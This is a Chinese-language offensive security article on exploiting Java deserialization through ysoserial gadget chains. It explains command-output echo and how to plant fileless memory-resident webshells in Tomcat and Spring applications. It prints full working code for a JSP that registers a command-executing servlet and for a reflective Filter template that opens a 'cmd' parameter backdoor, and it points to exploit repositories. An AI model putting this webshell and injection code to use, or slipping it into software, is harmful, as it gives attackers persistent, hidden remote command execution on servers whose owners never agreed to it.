基于ysoserial的深度利用研究（命令回显与内存马）

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0x01 前言

很多小伙伴做反序列化漏洞的研究都是以命令执行为目标，本地测试最喜欢的就是弹计算器，但没有对反序列化漏洞进行深入研究，例如如何回显命令执行的结果，如何加载内存马。
在上一篇文章中↓↓↓
记一次反序列化漏洞的利用之路
遇到了一个实际环境中的反序列化漏洞，也通过调试最终成功执行命令，达到了RCE的效果。在实际的攻防场景下，能执行命令并不是最完美的利用场景，内存马才是最终的目标。本篇文章就在此基础上讲一讲如何进行命令回显和加载内存马。

0x02 回显

在研究基于反序列化利用链的回显实现之前，首先解决基于反序列化利用链的回显实现，也就是在响应结果中输出命令执行的结果。对PHP语言熟悉的小伙伴可能会觉得这并不算问题，直接echo不就行了，java里面是不是也应该有类似的函数例如out.println()。Java是一种面向对象的编程语言，所有的操作都是基于类和对象进行，如果要在页面响应中输出内容，必须要先有HttpServletResponse对象，典型的把命令执行结果响应到页面的方式如图2.1所示。


图2.1 通过HttpServletResponse对象输出命令执行结果



从图2.1可以看出最简单的命令执行，也需要比较复杂的代码逻辑，也就要求利用链中必须要支持执行复杂语句。并不是所有的ysoserial利用链都能达到回显和内存马的效果，只有支持复杂语句的利用链才能回显和内存马，如表2.1所示。



表2.1 ysoserial利用链中对复杂语句的支持
我们先以CommonsBeanutils1利用链来进行分析，其他CommonsCollections利用链本质上是一样的，CommonsBeanutils1链和CommonsCollections链最终都是xalan库来动态加载字节码，执行复杂语句。关于xalan利用链的分析网上有很多文章，这里暂不做分析。
要实现反序列化利用链的结果回显，最重要的是要获取到HttpServletRequest对象和HttpServletResponse对象，根据目标环境的不同，获取这两个对象的办法是不一样的，如图2.2，图2.3所示。


图2.2 SpringBoot环境下获取request和response对象


图2.3 SpringMVC环境下获取request和response对象
不同的服务器获取这两个对象的方式不一样，其他例如Weblogic、Jboss、Websphere这些中间件获取这两个对象的方式也不一样，这种差异化极大的增加了反序列化回显和内存马实现的难度。
有没有一种比较通用的办法能够获取到request和response对象呢？答案是有的，基于Thread.CurrentThread()递归搜索可以实现通用的对象查找。目前测试环境是SpringMVC和SpringBOOT，其他环境暂未测试。
Thread.CurrentThread()中保存了当前线程中的全局信息，系统运行环境中所有的类对象都保存在Thread.CurrentThread()。用于回显需要的request和response对象可以在Thread.CurrentThread()中找到；用于内存马实现的StandardContext对象也可以找到。
递归搜索的思路就是遍历Thread.CurrentThread()下的每一个字段，如果字段类别继承自目标类（例如javax.servlet.http.HttpServletRequest），则进行标记，否则继续遍历。如图2.3的方式是在已知目标类的位置获取目标类对应对象的方式，我们的改进办法是在未知目标类位置的情况下，通过遍历的方式来发现目标类对象。
其中关键的代码如图2.4所示，完整的代码见github项目地址。其中最关键的步骤是通过递归的方式来查找Thread.CurrentThread()的所有字段，依次判断字段类型是否为javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。


图2.4 通过递归方式来查找request和response对象



使用这种方式的好处是通用性高，而不需要再去记不同服务器下对象的具体位置。把这种方式保存为一条新的利用链CommonsBeanutils1Echo，然后就可以在兼容SpringMVC和SpringBoot的环境中使用相同的反序列化包，如图2.5，图2.6所示。


图2.5 生成payload


图2.6 使用生成的payload进行反序列化测试

0x03 内存马

内存马一直都是java反序列化利用的终极目标，内存马的实现方式有很多种，其中最常见的是基于Filter的内存马，本文目标也是通过反序列化漏洞实现通用的冰蝎内存马。



基于Filter型的内存马实现步骤比较固定，如果是在jsp的环境下，可以使用下面的方式来生成内存马。

1. <%@ page import="java.io.IOException" %>
   
2. <%@ page import="java.io.InputStream" %>
   
3. <%@ page import="java.util.Scanner" %>
   
4. <%@ page import="org.apache.catalina.core.StandardContext" %>
   
5. <%@ page import="java.io.PrintWriter" %>
   
6. 
   
7. <%
   
8.     // 创建恶意Servlet
   
9.     Servlet servlet = new Servlet() {
   
10.         @Override
    
11.         public void init(ServletConfig servletConfig) throws ServletException {
    
12. 
    
13.         }
    
14.         @Override
    
15.         public ServletConfig getServletConfig() {
    
16.             return null;
    
17.         }
    
18.         @Override
    
19.         public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
    
20.             String cmd = servletRequest.getParameter("cmd");
    
21.             boolean isLinux = true;
    
22.             String osTyp = System.getProperty("os.name");
    
23.             if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    
24.                 isLinux = false;
    
25.             }
    
26.             String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    
27.             InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    
28.             Scanner s = new Scanner(in).useDelimiter("\\a");
    
29.             String output = s.hasNext() ? s.next() : "";
    
30.             PrintWriter out = servletResponse.getWriter();
    
31.             out.println(output);
    
32.             out.flush();
    
33.             out.close();
    
34.         }
    
35.         @Override
    
36.         public String getServletInfo() {
    
37.             return null;
    
38.         }
    
39.         @Override
    
40.         public void destroy() {
    
41. 
    
42.         }
    
43.     };
    
44. 
    
45. %>
    
46. <%
    
47.     // 获取StandardContext
    
48.     org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    
49.     StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
    
50. 
    
51.     // 用Wrapper对其进行封装
    
52.     org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    
53.     newWrapper.setName("pv587");
    
54.     newWrapper.setLoadOnStartup(1);
    
55.     newWrapper.setServlet(servlet);
    
56.     newWrapper.setServletClass(servlet.getClass().getName());
    
57. 
    
58.     // 添加封装后的恶意Wrapper到StandardContext的children当中
    
59.     standardCtx.addChild(newWrapper);
    
60. 
    
61.     // 添加ServletMapping将访问的URL和Servlet进行绑定
    
62.     standardCtx.addServletMapping("/pv587","pv587");
    
63. %>
    

复制代码

访问上面的jsp文件，然后就可以删除文件，访问内存马了，如图3.1所示。


图3.1 通过jsp文件来实现内存马

上面的代码是最初级的内存马实现，通过jsp文件来实现的命令执行的内存马。由于本文的重点不是讲内存马的原理，所以代码原理简单在注释中说明，如果需要详细的原因可以参考其他专门讲内存马的文章。在反序列化环境下实现冰蝎的内存马要比这个复杂很多，但是其中一些本质上的步骤是不变的。

内存马实现种最关键的是要获取StandardContext对象，然后基于这个对象来绑定Wrapper。不同的环境下获取StandardContext对象的方式不一样，与上面步骤回显的方式一致，也可以通过递归搜索的方式从Thread.CurrentThread()中查找，把上面内存马的实现放在递归搜索的模版中实现如下所示。

1. package ysoserial.template;
   
2. 
   
3. 
   
4. import org.apache.catalina.Context;
   
5. import org.apache.catalina.core.ApplicationFilterConfig;
   
6. import org.apache.catalina.core.StandardContext;
   
7. import org.apache.catalina.deploy.FilterDef;
   
8. import org.apache.catalina.deploy.FilterMap;
   
9. 
   
10. import javax.servlet.*;
    
11. import java.io.IOException;
    
12. import java.io.InputStream;
    
13. import java.io.PrintWriter;
    
14. import java.lang.reflect.Constructor;
    
15. import java.util.HashSet;
    
16. import java.lang.reflect.Array;
    
17. import java.lang.reflect.Field;
    
18. import java.util.*;
    
19. 
    
20. public class DFSMemShell {
    
21. 
    
22.     private HashSet set = new HashSet();
    
23.     private Object standard_context_obj;
    
24.     private Class standard_context_clazz = Class.forName("org.apache.catalina.core.StandardContext");
    
25. 
    
26.     public DFSMemShell() throws Exception {
    
27.         StandardContext standardCtx = (StandardContext) standard_context_obj;
    
28.         FilterDef filterDef = new FilterDef();
    
29.         filterDef.setFilterName("TestFilter");
    
30.         filterDef.setFilter(new Filter() {
    
31.             @Override
    
32.             public void init(FilterConfig filterConfig) throws ServletException {
    
33. 
    
34.             }
    
35. 
    
36.             @Override
    
37.             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    
38.                 String cmd = servletRequest.getParameter("cmd");
    
39.                 boolean isLinux = true;
    
40.                 String osTyp = System.getProperty("os.name");
    
41.                 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    
42.                     isLinux = false;
    
43.                 }
    
44.                 String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    
45.                 InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    
46.                 Scanner s = new Scanner(in).useDelimiter("\\a");
    
47.                 String output = s.hasNext() ? s.next() : "";
    
48.                 PrintWriter out = servletResponse.getWriter();
    
49.                 out.println(output);
    
50.                 out.flush();
    
51.                 out.close();
    
52. 
    
53.             }
    
54. 
    
55.             @Override
    
56.             public void destroy() {
    
57. 
    
58.             }
    
59.         });
    
60.         standardCtx.addFilterDef(filterDef);
    
61. 
    
62.         Constructor constructor =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass());
    
63.         constructor.setAccessible(true);
    
64.         ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef);
    
65.         Field field = standardCtx.getClass().getDeclaredField("filterConfigs");
    
66.         field.setAccessible(true);
    
67.         Map applicationFilterConfigs = (Map) field.get(standardCtx);
    
68.         applicationFilterConfigs.put("TestFilter", applicationFilterConfig);
    
69.         FilterMap filterMap = new FilterMap();
    
70.         filterMap.setFilterName("TestFilter");
    
71.         filterMap.addURLPattern("/btltest");
    
72.         //动态应用FilterMap
    
73.         standardCtx.addFilterMap(filterMap);
    
74.     }
    
75. 
    
76. 
    
77.     public Object getStandardContext(){
    
78.         return standard_context_obj;
    
79.     }
    
80. 
    
81.     public void search(Object obj) throws IllegalAccessException {
    
82.         if (obj == null){
    
83.             return;
    
84.         }
    
85.         if (standard_context_obj != null){
    
86.             return;
    
87.         }
    
88.         if (obj.getClass().equals(Object.class) ) {
    
89.             return;
    
90.         }
    
91.         if (standard_context_clazz.isAssignableFrom(obj.getClass())){
    
92.             System.out.println("Found standardContext");
    
93.             standard_context_obj = obj;
    
94.             return;
    
95.         }
    
96.         if (obj.getClass().isArray()) {
    
97.             for (int i = 0; i < Array.getLength(obj); i++) {
    
98.                 search(Array.get(obj, i));
    
99.             }
    
100.         } else {
     
101.             Queue q = getAllFields(obj);
     
102.             while (!q.isEmpty()) {
     
103.                 Field field = (Field) q.poll();
     
104.                 field.setAccessible(true);
     
105.                 Object fieldValue = field.get(obj);
     
106.                 if(standard_context_clazz.isAssignableFrom(fieldValue.getClass())){
     
107.                     System.out.println("Found standard context1");
     
108.                     standard_context_obj = fieldValue;
     
109.                 }
     
110.                 else{
     
111.                     search(fieldValue);
     
112.                 }
     
113. 
     
114.             }
     
115.         }
     
116.     }
     
117. 
     
118.     public Queue getAllFields(Object obj) throws IllegalAccessException {
     
119.         Queue queue = new LinkedList();
     
120.         for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
     
121.             Field[] fields = clazz.getDeclaredFields();
     
122.             for (Field f : fields) {
     
123.                 if (f.getType().isPrimitive()) {
     
124.                     continue;
     
125.                 } else if (f.getType().isArray() && f.getType().getComponentType().isPrimitive()) {
     
126.                     continue;
     
127.                 }  else {
     
128.                     f.setAccessible(true);
     
129.                     Object fieldValue = f.get(obj);
     
130.                     if (fieldValue != null) {
     
131.                         int hashcode = fieldValue.hashCode();
     
132.                         if (set.contains(hashcode)) {
     
133.                         } else {
     
134.                             set.add(hashcode);
     
135.                             queue.offer(f);
     
136.                         }
     
137.                     }
     
138.                 }
     
139.             }
     
140.         }
     
141.         return queue;
     
142.     }
     
143. 
     
144. }
     

复制代码

以上面的类为模版，通过xalan链动态字节码加载的方式来生成对应的类对象，会自动这个类中的构造函数，本来逻辑上是没有问题的。但是在实际测试过程中却一直不能成功，后来找到了问题的根源，通过xalan来加载类对应的字节码文件是单个文件，如果类中有内部类或者匿名内部类，则会加载失败。



通过把动态生成的字节码保存到任意class文件，查看文件内容如图3.2所示。从图中可以看出原本定义的Filter类型的匿名内部类变成了”new 1(this)”。


图3.2 动态生成的字节码文件中没有匿名内部类的内容



本来不知道怎么办，但是转念一想，通过反序列化来实现内存马早已经有大佬实现，肯定是有办法解决这个问题的。在项目https://github.com/WhiteHSBG/JNDIExploit中提供了多种环境下实现内存马的方式，如图3.3所示。


图3.3 通过反射的方式来动态加载字节码

如图3.3所示，通过反射的方式来生成Filter类型的对象，避免了使用内部类和匿名内部类，这确实是一个高明的技巧。既然有前辈的足迹，我们直接就可以占在巨人的肩膀上，把JNDIExploit中关于内存马实现的部分拷贝到我这里的反序列化模板中。注意，这里在实现冰蝎内存马的时候同样存在内部类问题，冰蝎中的内部类也需要通过反射的方式来实现。

在实际使用中，还有两个问题需要修改，其中第一个是动态加载字节码运行其中的equals方法，调用方式有问题，如图3.4，图3.5所示。


图3.4 JNDIExploit中加载调用equals方法


图3.5 修改后加载调用equals方法

另一个问题是对于SpringBoot interceptor拦截器内存马，在响应的时候必须明确指定状态码为200，不然冰蝎的客户端会连不上，如图3.6所示。


图3.6 设置状态码为200

这样之后就可以通过反序列化xalan执行复杂语句生成内存马，详细的代码参考https://github.com/webraybtl/ysoserialbtl，如图3.7所示。


0x04 结论

内存马的实现其实是挺复杂的过程，不同环境下实现方式并不完全一样，通过递归搜索的方式可以简化我们寻找特定对象的方式，并具有更高的兼容性。
完整代码已经放在↓↓↓
https://github.com/webraybtl/ysoserialbtl

CC链不支持复杂语句，并不是一定的，在某些情况下也可以让其支持，比如通过ScriptEngineManager加载js解析引擎来执行复杂语句。这会是一种更通用的实现内存马的方式吗？还有待研究。